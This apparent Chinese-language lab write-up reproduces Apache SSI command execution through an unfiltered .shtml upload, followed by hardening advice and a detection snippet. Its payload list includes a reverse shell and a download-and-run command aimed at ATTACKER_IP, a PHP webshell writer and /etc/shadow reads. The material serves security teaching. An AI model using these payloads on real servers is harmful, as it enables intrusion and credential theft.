AI摘要

本文复现了Apache SSI漏洞。攻击者通过上传包含`#exec`指令的`.shtml`文件,利用目录启用的SSI解析功能实现远程命令执行。文章详细介绍了漏洞原理、复现步骤及修复建议。

漏洞概述

SSI 简介

SSI(Server Side Includes,服务端包含)是 Apache 通过 mod_include 模块提供的一项服务端模板功能。当用户访问 .shtml 后缀的文件时,Apache 会在响应前解析文件中的 SSI 指令并替换为动态内容。

SSI 设计初衷是在纯 HTML 中嵌入简单的动态逻辑(如页眉页脚包含、文件修改日期),但其 #exec 指令可以直接执行系统命令——当攻击者能将恶意 .shtml 文件写入启用了 SSI 的目录时,即可实现远程命令执行。

漏洞信息

项目内容
漏洞类型文件上传限制绕过 + SSI 远程命令执行
根因上传检测仅屏蔽.php 未屏蔽 .shtml,且上传目录启用了 Includes 选项
影响范围Apache 2.x +mod_include 模块启用 + 文件上传点未校验 .shtml
利用条件1) 存在文件上传点;2) 上传目录允许 SSI 解析;3)mod_include 未限制 #exec
复现环境Apache 支持 SSI 与 CGI 的 Docker 靶场
靶机http://192.168.50.134:8080/upload.php

漏洞原理

mod_include 工作原理

Apache 处理请求时,如果文件后缀为 .shtml(或通过 AddHandler / AddType 配置的任意后缀),mod_include 模块会介入 HTML 输出流,逐行扫描并解析以下格式的指令:

<!--#指令 属性="值" -->

攻击链

攻击者上传 .shtml 文件
        │
        ▼
┌──────────────────────────────────┐
│  POST /upload.php                │
│  上传 shell.shtml                │
│  内容:<!--#exec cmd="id" -->    │
│  扩展名白名单绕过(仅封.php)     │
└──────────────┬───────────────────┘
               │
               ▼
┌──────────────────────────────────┐
│  文件保存至 uploads/ 目录        │
│  Apache 配置: Options +Includes  │
│  该目录启用 SSI 解析             │
└──────────────┬───────────────────┘
               │
               ▼
┌──────────────────────────────────┐
│  攻击者访问                      │
│  /uploads/shell.shtml            │
└──────────────┬───────────────────┘
               │
               ▼
┌──────────────────────────────────┐
│  mod_include 解析 SSI 指令       │
│  <!--#exec cmd="id" -->          │
│  → shell_exec("id")              │
│  → 输出插入响应体中              │
└──────────────┬───────────────────┘
               │
               ▼
          命令执行结果回显

为什么这不被视为 Apache 漏洞

SSI 是 Apache 的文档化功能,而非安全缺陷。#exec 指令在以下条件下是合法功能:

  • 被授权管理员主动启用
  • 用于受控的内部服务器环境

实际上这属于配置不当(Misconfiguration)导致的安全问题——管理员同时开放了文件上传和 SSI 执行能力,且未充分限制上传文件类型。


环境搭建

启动一个同时支持 SSI(mod_include)和 CGI 的 Apache 靶场容器。

核心 Apache 配置(靶场中的不安全配置):

<VirtualHost *:8080>
    DocumentRoot /var/www/html

    # 为 .shtml 文件启用 SSI 解析
    AddType text/html .shtml
    AddHandler server-parsed .shtml
    Options +Includes    # ← 允许 #exec cmd 指令
</VirtualHost>
配置项安全选项不安全选项(靶场)
OptionsIncludesNOEXEC+Includes
含义允许 SSI 但不允许#exec允许完整 SSI,含#exec cmd
靶机地址:http://192.168.50.134:8080/upload.php

漏洞复现

Step 1: 探测上传限制

访问 http://192.168.50.134:8080/upload.php,可看到一个文件上传表单。直接上传 .php 文件被拒绝,但 .shtml 文件不受限制:

<!-- 上传检测逻辑(推断):仅黑名单拦截 .php / .php5 / .phtml -->
<!-- .shtml 不在黑名单中 → 绕过 -->

上传成功

Step 2: 构造恶意 .shtml 文件

<!--#exec cmd="cat /etc/passwd" -->

payload 结构说明:

组成部分说明
<!--#execSSI 指令开头,exec 表示执行外部程序
cmd="..."指定要执行的 shell 命令
-->SSI 指令结束标记,标准 HTML 注释语法包裹

Step 3: 访问上传文件触发执行

上传成功后,直接访问该 .shtml 文件的 URL,Apache 会解析其中的 SSI 指令并执行命令:

http://192.168.50.134:8080/uploads/shell.shtml

命令执行成功


SSI 指令完全参考

核心指令速查

指令语法说明风险等级
#exec cmd<!--#exec cmd="id" -->执行系统命令并输出结果严重
#exec cgi<!--#exec cgi="/cgi-bin/test" -->执行 CGI 程序严重
#include virtual<!--#include virtual="/etc/passwd" -->包含服务器本地文件(绝对路径)
#include file<!--#include file="../../etc/passwd" -->包含相对路径文件
#echo var<!--#echo var="DOCUMENT_ROOT" -->输出服务器环境变量
#fsize<!--#fsize file="index.html" -->输出文件大小
#flastmod<!--#flastmod file="index.html" -->输出文件修改时间
#config<!--#config timefmt="%Y-%m-%d" -->配置日期格式
#printenv<!--#printenv -->打印所有环境变量
#set<!--#set var="x" value="y" -->设置变量

常用攻击 Payload

<!-- 1. 基本命令执行 -->
<!--#exec cmd="whoami" -->

<!-- 2. 反弹 Shell(需要 nc 或 /dev/tcp) -->
<!--#exec cmd="bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" -->

<!-- 3. 读取敏感文件 -->
<!--#include virtual="/etc/shadow" -->
<!--#include virtual="../../../etc/passwd" -->

<!-- 4. 写入 WebShell -->
<!--#exec cmd="echo '<?php system($_GET[1]);?>' > /var/www/html/shell.php" -->

<!-- 5. 信息收集:输出服务器环境 -->
<!--#echo var="DOCUMENT_ROOT" -->
<!--#echo var="SERVER_SOFTWARE" -->
<!--#echo var="HTTP_USER_AGENT" -->

<!-- 6. 下载并执行远程脚本 -->
<!--#exec cmd="wget http://ATTACKER_IP/backdoor.sh -O /tmp/bd.sh && bash /tmp/bd.sh" -->

<!-- 7. 使用管道符执行复杂命令 -->
<!--#exec cmd="find / -name '*.conf' 2>/dev/null | head -20" -->

利用条件判断

并非所有 .shtml 文件都会触发 SSI 解析,需要满足以下任一条件:

  1. 文件后缀为 .shtml(Apache 默认配置)
  2. Apache 配置了 AddHandler server-parsed .html(所有 .html 也解析 SSI)
  3. Apache 配置了 XBitHack on(有执行权限的文件自动启用 SSI)
  4. 目录配置了 Options +IncludesOptions +IncludesNOEXEC

可通过以下方式探测 SSI 是否启用:

<!-- 测试 SSI 是否生效 -->
<!--#echo var="DATE_LOCAL" -->

<!-- 如果返回当前日期,说明 SSI 解析器正在工作 -->

延伸阅读

浏览器端 vs 服务器端 SSI

对比维度客户端 SSI服务端 SSI (mod_include)
注释语法<!--#指令 --><!--#指令 -->
解析位置浏览器(如旧版 IE)Apache 服务器
代码可见性F12 可见源码不可见(HTML 中已替换)
风险无(浏览器无 shell 权限)高(服务器级别命令执行)
实际场景几乎已绝迹遗留系统 / 托管平台

类似攻击手法对比

攻击方式上传后缀解析组件利用效果
SSI 注入.shtmlmod_include#exec cmd 命令执行
PHP 上传.php / .phtmlmod_phpPHP 代码执行
CGI 上传.cgi / .plmod_cgiPerl/Shell 脚本执行
JSP 上传.jsp / .jspxTomcatJava 代码执行
.htaccess 覆盖.htaccessApache Core修改服务器配置

修复与加固建议

1. 使用 IncludesNOEXEC 替代 Includes

# 错误配置:
<Directory "/var/www/html/uploads">
    Options +Includes      # ← 允许 #exec cmd,危险!
</Directory>

# 正确配置:
<Directory "/var/www/html/uploads">
    Options +IncludesNOEXEC  # ← 允许 SSI 但禁用 #exec
</Directory>

2. 禁用不必要的 mod_include 模块

# 检查是否加载了 mod_include
apachectl -M | grep include

# 卸载模块
sudo a2dismod include
sudo systemctl restart apache2

3. 文件上传白名单校验

// 推荐:白名单方式,只允许确需的扩展名
$allowed = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
    die("不允许的文件类型");
}

// 危险:黑名单方式,极易被遗漏扩展名绕过
$blocked = ['php', 'php5', 'phtml'];  // ← 漏了 .shtml!
if (in_array($ext, $blocked)) {
    die("不允许的文件类型");
}

4. 上传目录独立配置

上传文件应当存放在独立的静态资源目录中,该目录不应启用任何服务端脚本解析:

<Directory "/var/www/html/uploads">
    # 移除所有 Handler
    RemoveHandler .shtml .html .php .phtml .cgi .pl
    # 设置默认 MIME 类型
    ForceType application/octet-stream
    # 禁用所有脚本执行选项
    Options -ExecCGI -Includes -Indexes
</Directory>

5. 内容安全检测

对上传文件内容进行扫描,拦截包含 SSI 指令特征的文件:

# 简易检测脚本
ssi_patterns = [
    r'<!--#exec',
    r'<!--#include',
    r'<!--#echo',
]

with open(uploaded_file, 'r') as f:
    content = f.read()
    for pattern in ssi_patterns:
        if re.search(pattern, content):
            raise SecurityException("检测到 SSI 指令")

参考文献

  1. Apache HTTP Server Documentation - mod_include: https://httpd.apache.org/docs/2.4/mod/mod_include.html
  2. Apache HTTP Server Documentation - Options Directive: https://httpd.apache.org/docs/2.4/mod/core.html#options
  3. OWASP - Server-Side Includes (SSI) Injection: https://owasp.org/www-community/attacks/Server-Side_Includes_SSI_Injection
  4. Apache HTTP Server Documentation - Security Tips: https://httpd.apache.org/docs/2.4/misc/security_tips.html
投币支持一下吧
END